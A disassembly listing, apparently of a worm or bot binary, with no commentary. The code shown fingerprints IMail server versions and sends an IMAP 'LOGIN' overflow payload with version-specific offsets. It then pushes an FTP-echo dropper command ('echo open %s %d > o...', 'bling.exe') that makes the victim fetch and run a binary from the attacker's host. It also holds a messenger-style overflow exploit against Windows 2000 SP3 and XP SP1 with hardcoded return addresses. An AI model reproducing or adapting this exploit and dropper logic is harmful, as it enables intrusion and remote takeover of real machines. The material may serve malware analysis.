cmp eax, 0FFFFFFFFh
mov dword_4D5CEC, eax
jz loc_40ACD2
loc_40A65D: ; CODE XREF: ___:0040A643j
push 6
push 1
push 2
pop ebx
push ebx
call dword_4453C8
test eax, eax
mov dword_4D5DF4, eax
jz loc_40ACD2
test esi, esi
jz short loc_40A694
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_4187B0
add esp, 0Ch
jmp short loc_40A69C
; ---------------------------------------------------------------------------
loc_40A694: ; CODE XREF: ___:0040A67Aj
mov eax, dword_4D5CEC
mov [ebp-0Ch], eax
loc_40A69C: ; CODE XREF: ___:0040A692j
test esi, esi
jz short loc_40A6AA
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_40A6AE
; ---------------------------------------------------------------------------
loc_40A6AA: ; CODE XREF: ___:0040A69Ej
mov [ebp-10h], bx
loc_40A6AE: ; CODE XREF: ___:0040A6A8j
push dword ptr [ebp+0A8h]
call dword_445348
push dword ptr [ebp+8]
mov [ebp-0Eh], ax
call sub_40267D
pop ecx
push eax
call dword_445388
push edi
mov esi, eax
call dword_445348
movzx eax, ax
xor eax, 7C1Fh
push 4
mov [ebp-1Ch], eax
lea eax, [ebp-18h]
xor esi, 7C1F1AE0h
push eax
push offset dword_43E8D4
mov [ebp-18h], esi
call sub_4187B0
lea eax, [ebp-1Ch]
push ebx
push eax
push offset word_43E8DA
call sub_4187B0
push 386h
mov edi, offset dword_4D5DF8
push 90h
push edi
call sub_417070
push 0Ch
push offset aA01Login ; "a01 LOGIN \"&"
push edi
call sub_4187B0
push 138h
push offset dword_43E81C
push offset dword_4D5EA4
call sub_4187B0
push 2Ah
push offset loc_43E9F4
push offset dword_4D60C4
call sub_4187B0
add esp, 48h
push 0Bh
push offset dword_43EA20
push offset word_4D617E
call sub_4187B0
add esp, 0Ch
lea eax, [ebp-10h]
push 10h
push eax
push dword_4D5DF4
call dword_4452F0
test eax, eax
mov dword_4D5CF0, eax
jnz loc_40ACD2
push eax
mov esi, offset dword_4D5CF4
push 100h
push esi
push dword_4D5DF4
call dword_445360
push offset aImail ; "IMail"
push esi
mov dword_4D5CE8, eax
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz loc_40ABA3
push offset a7_04 ; "7.04"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A7EB
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset loc_43E95C
loc_40A7E1: ; CODE XREF: ___:0040A813j
; ___:0040A84Ej ...
push offset dword_4D60B4
jmp loc_40AB0C
; ---------------------------------------------------------------------------
loc_40A7EB: ; CODE XREF: ___:0040A7C8j
push offset a7_05 ; "7.05"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A815
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E964
jmp short loc_40A7E1
; ---------------------------------------------------------------------------
loc_40A815: ; CODE XREF: ___:0040A7FAj
push offset a7_06 ; "7.06"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jnz short loc_40A837
push offset a7_07 ; "7.07"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A850
loc_40A837: ; CODE XREF: ___:0040A824j
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset nullsub_2
jmp short loc_40A7E1
; ---------------------------------------------------------------------------
loc_40A850: ; CODE XREF: ___:0040A835j
push offset a7_10 ; "7.10"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jnz short loc_40A872
push offset a7_11 ; "7.11"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A88E
loc_40A872: ; CODE XREF: ___:0040A85Fj
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E974
jmp loc_40A7E1
; ---------------------------------------------------------------------------
loc_40A88E: ; CODE XREF: ___:0040A870j
push offset a7_12 ; "7.12"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A8BB
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E97C
jmp loc_40A7E1
; ---------------------------------------------------------------------------
loc_40A8BB: ; CODE XREF: ___:0040A89Dj
push offset a7_13 ; "7.13"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jnz short loc_40A8DD
push offset a7_14 ; "7.14"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A8F9
loc_40A8DD: ; CODE XREF: ___:0040A8CAj
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E984
jmp loc_40A7E1
; ---------------------------------------------------------------------------
loc_40A8F9: ; CODE XREF: ___:0040A8DBj
push offset a7_15 ; "7.15"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A926
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E98C
jmp loc_40A7E1
; ---------------------------------------------------------------------------
loc_40A926: ; CODE XREF: ___:0040A908j
push offset a8_00 ; "8.00"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A953
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E994
jmp loc_40A7E1
; ---------------------------------------------------------------------------
loc_40A953: ; CODE XREF: ___:0040A935j
push offset a8_01 ; "8.01"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A980
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E99C
jmp loc_40A7E1
; ---------------------------------------------------------------------------
loc_40A980: ; CODE XREF: ___:0040A962j
push offset a8_02 ; "8.02"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A9AD
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E9A4
jmp loc_40A7E1
; ---------------------------------------------------------------------------
loc_40A9AD: ; CODE XREF: ___:0040A98Fj
push offset a8_03 ; "8.03"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40A9DA
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E9AC
jmp loc_40A7E1
; ---------------------------------------------------------------------------
loc_40A9DA: ; CODE XREF: ___:0040A9BCj
push offset a8_04 ; "8.04"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40AA07
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E9B4
jmp loc_40A7E1
; ---------------------------------------------------------------------------
loc_40AA07: ; CODE XREF: ___:0040A9E9j
push offset a8_05 ; "8.05"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40AA34
push ebx
push offset loc_43E958
push offset word_4D60B2
call sub_4187B0
push 4
push offset dword_43E9BC
jmp loc_40A7E1
; ---------------------------------------------------------------------------
loc_40AA34: ; CODE XREF: ___:0040AA16j
push offset a8_10 ; "8.10"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40AA61
push ebx
push offset loc_43E958
push offset word_4D60AA
call sub_4187B0
push 4
push offset dword_43E9C4
jmp loc_40AB07
; ---------------------------------------------------------------------------
loc_40AA61: ; CODE XREF: ___:0040AA43j
push offset a8_11 ; "8.11"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40AA8B
push ebx
push offset loc_43E958
push offset word_4D60AA
call sub_4187B0
push 4
push offset dword_43E9CC
jmp short loc_40AB07
; ---------------------------------------------------------------------------
loc_40AA8B: ; CODE XREF: ___:0040AA70j
push offset a8_12 ; "8.12"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40AAB5
push ebx
push offset loc_43E958
push offset word_4D60AA
call sub_4187B0
push 4
push offset dword_43E9D4
jmp short loc_40AB07
; ---------------------------------------------------------------------------
loc_40AAB5: ; CODE XREF: ___:0040AA9Aj
push offset a8_13 ; "8.13"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40AADF
push ebx
push offset loc_43E958
push offset word_4D60AA
call sub_4187B0
push 4
push offset dword_43E9DC
jmp short loc_40AB07
; ---------------------------------------------------------------------------
loc_40AADF: ; CODE XREF: ___:0040AAC4j
push offset a8_14 ; "8.14"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40AB19
push ebx
push offset loc_43E958
push offset word_4D60AA
call sub_4187B0
push 4
push offset dword_43E9E4
loc_40AB07: ; CODE XREF: ___:0040AA5Cj
; ___:0040AA89j ...
push offset dword_4D60AC
loc_40AB0C: ; CODE XREF: ___:0040A7E6j
call sub_4187B0
add esp, 18h
jmp loc_40ABB4
; ---------------------------------------------------------------------------
loc_40AB19: ; CODE XREF: ___:0040AAEEj
push offset a8_15 ; "8.15"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40AB43
push ebx
push offset loc_43E958
push offset word_4D60AA
call sub_4187B0
push 4
push offset dword_43E9EC
jmp short loc_40AB07
; ---------------------------------------------------------------------------
loc_40AB43: ; CODE XREF: ___:0040AB28j
push offset aHotfix2 ; "hotfix2"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40AB5F
loc_40AB54: ; CODE XREF: ___:0040AB6Ej
; ___:0040AB7Fj ...
push dword_4D5DF4
jmp loc_40ACCC
; ---------------------------------------------------------------------------
loc_40AB5F: ; CODE XREF: ___:0040AB52j
push offset a4_0 ; "4.0"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jnz short loc_40AB54
push offset a5_0 ; "5.0"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jnz short loc_40AB54
push offset a6_0 ; "6.0"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jnz short loc_40AB54
push offset a7_0 ; "7.0"
push esi
call sub_417B50
pop ecx
pop ecx
test eax, eax
jmp short loc_40AB54
; ---------------------------------------------------------------------------
loc_40ABA3: ; CODE XREF: ___:0040A7B3j
push offset aImail_0 ; "IMail"
push esi
call sub_417B50
pop ecx
test eax, eax
pop ecx
jz short loc_40AB54
loc_40ABB4: ; CODE XREF: ___:0040AB14j
mov esi, dword_4DD2CC
push 64h
call esi
push 0
push edi
call sub_414BE0
pop ecx
push eax
push edi
push dword_4D5DF4
call dword_445398
push 64h
call esi
push dword ptr [ebp-20h]
xor edi, edi
mov [ebp-0Ch], edi
call dword_445348
push 6
push 1
pop esi
mov [ebp-0Eh], ax
push esi
push ebx
call dword_4453C8
lea ecx, [ebp-10h]
push 10h
push ecx
push eax
mov dword_4D61F8, eax
call dword_445374
cmp eax, edi
mov dword_4D5CF0, eax
jnz loc_40ACD2
push esi
push dword_4D61F8
call dword_445370
cmp eax, edi
mov dword_4D5CF0, eax
jnz loc_40ACD2
mov eax, dword_4D61F8
mov dword ptr [ebp-28h], 8
mov [ebp-128h], eax
lea eax, [ebp-28h]
push eax
push edi
lea eax, [ebp-12Ch]
push edi
push eax
push esi
mov [ebp-24h], edi
mov [ebp-12Ch], esi
nop
call near ptr 71AB1890h
test eax, eax
jle short loc_40ACD2
lea eax, [ebp-14h]
push eax
lea eax, [ebp-10h]
push eax
push dword_4D61F8
call dword_4453DC
mov ecx, [ebp+0B0h]
push eax
shl ecx, 6
inc dword_43DE40[ecx]
sub esp, 0BCh
lea ecx, dword_43DE40[ecx]
lea esi, [ebp+8]
push 2Fh
mov dword_4D61FC, eax
pop ecx
mov edi, esp
rep movsd
call sub_40ACD9
add esp, 0C0h
push dword_4D5DF4
call dword_4453E0
push dword_4D61F8
call dword_4453E0
push dword_4D61FC
loc_40ACCC: ; CODE XREF: ___:0040AB5Aj
call dword_4453E0
loc_40ACD2: ; CODE XREF: ___:0040A657j
; ___:0040A672j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ACD9 proc near ; CODE XREF: ___:0040ACA3p
var_800 = byte ptr -800h
var_400 = byte ptr -400h
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 800h
push esi
push edi
mov edi, [ebp+arg_BC]
mov esi, 400h
push 0
lea eax, [ebp+var_800]
push esi
push eax
push edi
call dword_445360
cmp eax, 0FFFFFFFFh
jz loc_40ADAC
movzx eax, word ptr dword_4D3010
push eax
push [ebp+arg_0]
call sub_40267D
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_400]
push esi
push eax
call sub_4172D0
add esp, 14h
lea eax, [ebp+var_400]
push 0
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_400]
push eax
push edi
call dword_445398
cmp eax, 0FFFFFFFFh
jz short loc_40ADAC
push 1F4h
call near ptr 2690599h
nop
push offset aBling_exe ; "bling.exe\r\n"
lea eax, [ebp+var_400]
push esi
push eax
call sub_4172D0
add esp, 0Ch
lea eax, [ebp+var_400]
push 0
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_400]
push eax
push edi
call dword_445398
cmp eax, 0FFFFFFFFh
jz short loc_40ADAC
push 0
push esi
push offset dword_4D5CF4
push edi
call dword_445360
push edi
call dword_4453E0
loc_40ADAC: ; CODE XREF: sub_40ACD9+2Aj
; sub_40ACD9+78j ...
pop edi
pop esi
leave
retn
sub_40ACD9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2060h
call sub_417E20
push ebx
push esi
push edi
push 5
pop ecx
mov esi, offset aWindows2000Sp3 ; "Windows 2000 SP 3 (en)"
lea edi, [ebp-60h]
xor eax, eax
rep movsd
movsw
movsb
lea edi, [ebp-49h]
push 5
stosd
stosw
stosb
pop ecx
mov esi, offset aWindowsXpSp1En ; "Windows XP SP 1 (en)"
lea edi, [ebp-38h]
mov dword ptr [ebp-40h], 77EE044Ch
mov dword ptr [ebp-3Ch], 768D693Eh
xor eax, eax
rep movsd
movsb
lea edi, [ebp-23h]
push 1
stosd
stosd
stosb
lea eax, [ebp+0Ch]
mov dword ptr [ebp-18h], 77ED73B4h
push eax
mov dword ptr [ebp-14h], 7804BF52h
call sub_411949
pop ecx
cmp eax, 1
pop ecx
jz loc_40AF14
test eax, eax
jz loc_40AF14
push 2
pop edi
cmp eax, edi
jnz short loc_40AE34
xor esi, esi
jmp short loc_40AE3A
; ---------------------------------------------------------------------------
loc_40AE34: ; CODE XREF: ___:0040AE2Ej
mov esi, [ebp+0C0h]
loc_40AE3A: ; CODE XREF: ___:0040AE32j
cmp eax, 3
jnz short loc_40AE42
push 1
pop esi
loc_40AE42: ; CODE XREF: ___:0040AE3Dj
push 10h
lea eax, [ebp-10h]
push 0
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+0Ch]
mov [ebp-10h], di
push eax
call dword_445388
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call dword_445348
mov [ebp-0Eh], ax
lea eax, [esi+esi*4]
shl eax, 3
push dword ptr [ebp+eax-40h]
push dword ptr [ebp+eax-3Ch]
lea eax, [ebp-2060h]
push 2000h
push eax
call sub_40AF1B
add esp, 10h
mov ebx, eax
push 11h
push edi
push edi
call dword_4453C8
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40AF14
lea eax, [ebp-10h]
push 10h
push eax
push 0
lea eax, [ebp-2060h]
push ebx
push eax
push esi
call dword_4453AC
cmp eax, 0FFFFFFFFh
jz short loc_40AF14
push esi
call dword_4453E0
push 1F4h
call near ptr 2690599h
nop
push 23E7h
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4121EE
add esp, 0C0h
cmp al, 1
jnz short loc_40AF14
mov eax, [ebp+0B0h]
push 1
shl eax, 6
inc dword_43DE40[eax]
lea eax, dword_43DE40[eax]
pop eax
jmp short loc_40AF16
; ---------------------------------------------------------------------------
loc_40AF14: ; CODE XREF: ___:0040AE1Bj
; ___:0040AE23j ...
xor eax, eax
loc_40AF16: ; CODE XREF: ___:0040AF12j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF1B proc near ; CODE XREF: ___:0040AE8Dp
var_13DC = byte ptr -13DCh
var_13CC = byte ptr -13CCh
var_11E8 = byte ptr -11E8h
var_AE4 = byte ptr -0AE4h
var_68E = byte ptr -68Eh
var_683 = dword ptr -683h
var_67F = dword ptr -67Fh
var_67B = byte ptr -67Bh
var_551 = byte ptr -551h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 13DCh
call sub_417E20
push ebx
push esi
push edi
mov esi, offset dword_43EDD8
lea edi, [ebp+var_10]
push 7
movsd
movsd
movsd
movsb
mov esi, offset aNetmaniac ; "NETMANIAC"
lea edi, [ebp+var_24]
movsd
movsd
movsw
mov esi, offset aAdik ; "ADIK"
lea edi, [ebp+var_18]
movsd
movsb
pop ecx
mov esi, offset byte_43EDFC
lea edi, [ebp+var_54]
push [ebp+arg_4]
rep movsd
movsw
movsb
mov esi, offset byte_43EE1C
lea edi, [ebp+var_34]
movsd
movsd
movsd
movsb
mov esi, offset aMessage ; "*** MESSAGE ***"
lea edi, [ebp+var_13DC]
movsd
movsd
movsd
movsd
mov esi, [ebp+arg_0]
xor eax, eax
mov ecx, 4DEh
lea edi, [ebp+var_13CC]
push eax
push esi
rep stosd
call sub_417070
push 50h
push offset dword_43ED54
push esi
call sub_4187B0
lea eax, [ebp+var_24]
push eax
call sub_414BE0
mov edi, eax
lea eax, [ebp+var_10]
push 0Ch
push eax
lea eax, [esi+50h]
inc edi
push eax
mov [ebp+var_10], edi
mov [ebp+var_8], edi
call sub_4187B0
lea eax, [ebp+var_24]
push eax
lea eax, [esi+5Ch]
push eax
call sub_4184C0
dec edi
lea eax, [ebp+var_18]
and edi, 0FFFFFFFCh
push eax
add edi, 60h
call sub_414BE0
mov ebx, eax
push 0Ch
inc ebx
mov [ebp+var_10], ebx
mov [ebp+var_8], ebx
lea eax, [ebp+var_10]
push eax
lea eax, [edi+esi]
push eax
call sub_4187B0
add esp, 40h
add edi, 0Ch
lea eax, [ebp+var_18]
push eax
lea eax, [edi+esi]
push eax
call sub_4184C0
dec ebx
push 8F8h
and ebx, 0FFFFFFFCh
lea eax, [ebp+var_13DC]
push 90h
push eax
lea edi, [edi+ebx+4]
call sub_417070
push 1E4h
lea eax, [ebp+var_11E8]
push offset loc_43EB70
push eax
call sub_4187B0
push 708h
lea eax, [ebp+var_AE4]
push 14h
push eax
call sub_417070
lea eax, [ebp+var_34]
push 0Dh
push eax
lea eax, [ebp+var_68E]
push eax
call sub_4187B0
mov eax, [ebp+arg_8]
push 1Eh
mov [ebp+var_683], eax
mov eax, [ebp+arg_C]
mov [ebp+var_67F], eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_67B]
push eax
call sub_4187B0
mov eax, 0E8Ch
add esp, 44h
sub eax, edi
push eax
push offset aMsgBodySizeD ; "[*] Msg body size: %d\n"
push offset dword_4438E0
call sub_418240
lea eax, [ebp+var_551]
sub eax, edi
and byte ptr [eax], 0
lea eax, [ebp+var_13DC]
push eax
call sub_414BE0
mov ebx, eax
lea eax, [ebp+var_10]
push 0Ch
push eax
lea eax, [edi+esi]
inc ebx
push eax
mov [ebp+var_10], ebx
mov [ebp+var_8], ebx
call sub_4187B0
add edi, 0Ch
lea eax, [ebp+var_13DC]
push eax
lea eax, [edi+esi]
push eax
call sub_4184C0
push 0
add edi, ebx
call sub_418BB0
mov [esi+28h], eax
add esp, 28h
lea eax, [edi-50h]
mov [esi+4Ah], eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40AF1B endp
; =============== S U B R O U T I N E =======================================
sub_40B0FF proc near ; CODE XREF: sub_40B3A1+Ep
; sub_40B3A1+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40B0FF endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push dword ptr [ebp+8]
call sub_414BE0
pop ecx
push eax
lea ecx, [ebp-8]
push dword ptr [ebp+8]
call sub_40B137
mov ecx, [eax]
mov [esi], ecx
mov eax, [eax+4]
mov [esi+4], eax
mov eax, esi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
sub_40B137 proc near ; CODE XREF: ___:0040B121p
; sub_40B3A1+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_414DB0
mov edi, eax
pop ecx
test edi, edi
jz short loc_40B169
push ebx
push 0
push edi
call sub_417070
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_4187B0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40B169: ; CODE XREF: sub_40B137+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40B137 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B171 proc near ; CODE XREF: sub_40B26B+18p
; sub_40B2E5+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_414DB0
mov esi, eax
pop ecx
test esi, esi
jz short loc_40B1BD
push edi
push 0
push esi
call sub_417070
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_4187B0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_4187B0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40B1BD: ; CODE XREF: sub_40B171+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40B171 endp
; =============== S U B R O U T I N E =======================================
sub_40B1C6 proc near ; CODE XREF: sub_40B26B+5Ep
; sub_40B26B+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40B1D6
push eax
call sub_415820
pop ecx
loc_40B1D6: ; CODE XREF: sub_40B1C6+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40B1C6 endp
; =============== S U B R O U T I N E =======================================
sub_40B1DF proc near ; CODE XREF: sub_40B26B+20p
; sub_40B346+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40B20C
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_414DB0
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40B210
loc_40B20C: ; CODE XREF: sub_40B1DF+Dj
xor al, al
jmp short loc_40B267
; ---------------------------------------------------------------------------
loc_40B210: ; CODE XREF: sub_40B1DF+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_417070
add esp, 0Ch
cmp ebx, 1
jnz short loc_40B235
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40B24F
; ---------------------------------------------------------------------------
loc_40B235: ; CODE XREF: sub_40B1DF+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40B24F: ; CODE XREF: sub_40B1DF+54j
push eax
call sub_4187B0
add esp, 0Ch
push dword ptr [esi]
call sub_415820
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40B267: ; CODE XREF: sub_40B1DF+2Fj
pop edi
pop esi
pop ebx
retn
sub_40B1DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B26B proc near ; CODE XREF: sub_40B3A1+89p
; sub_40B3A1+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4D6210
call sub_40B171
lea ecx, [ebp+var_8]
call sub_40B1DF
mov eax, [ebp+var_4]
inc eax
push eax
call sub_414DB0
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40B2A5
xor al, al
jmp short loc_40B2E1
; ---------------------------------------------------------------------------
loc_40B2A5: ; CODE XREF: sub_40B26B+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_417070
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_4187B0
add esp, 18h
mov ecx, esi
call sub_40B1C6
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40B1C6
mov al, 1
loc_40B2E1: ; CODE XREF: sub_40B26B+38j
pop edi
pop esi
leave
retn
sub_40B26B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2E5 proc near ; CODE XREF: sub_40B319+14p
; sub_40B336+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40B171
mov ecx, esi
call sub_40B1C6
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40B2E5 endp
; =============== S U B R O U T I N E =======================================
sub_40B319 proc near ; CODE XREF: sub_40B3A1+F0p
; sub_40B3A1+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_414BE0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40B2E5
pop esi
retn 4
sub_40B319 endp
; =============== S U B R O U T I N E =======================================
sub_40B336 proc near ; CODE XREF: sub_40B382+Bp
; sub_40B3A1+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40B2E5
retn 8
sub_40B336 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B346 proc near ; CODE XREF: sub_40B382+16p
; sub_40B3A1+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40B1DF
test al, al
jz short loc_40B37F
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_43F1BF+1)
call sub_40B171
mov ecx, esi
call sub_40B1C6
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40B37F: ; CODE XREF: sub_40B346+Fj
pop esi
leave
retn
sub_40B346 endp
; =============== S U B R O U T I N E =======================================
sub_40B382 proc near ; CODE XREF: sub_40B3A1+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40B336
test al, al
jz short loc_40B39D
mov ecx, esi
call sub_40B346
loc_40B39D: ; CODE XREF: sub_40B382+12j
pop esi
retn 8
sub_40B382 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B3A1 proc near ; CODE XREF: ___:0040BC00p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40B0FF
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40B6F5
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40B6F5
push esi
lea ecx, [ebp+var_30]
call sub_40B0FF
lea ecx, [ebp+var_20]
call sub_40B0FF
lea ecx, [ebp+var_50]
call sub_40B0FF
lea ecx, [ebp+var_18]
call sub_40B0FF
lea ecx, [ebp+var_40]
call sub_40B0FF
lea ecx, [ebp+var_38]
call sub_40B0FF
lea ecx, [ebp+var_28]
call sub_40B0FF
push 4
push offset dword_43EE60
lea ecx, [ebp+var_30]
call sub_40B2E5
push 3
push offset dword_43EE68
lea ecx, [ebp+var_30]
call sub_40B2E5
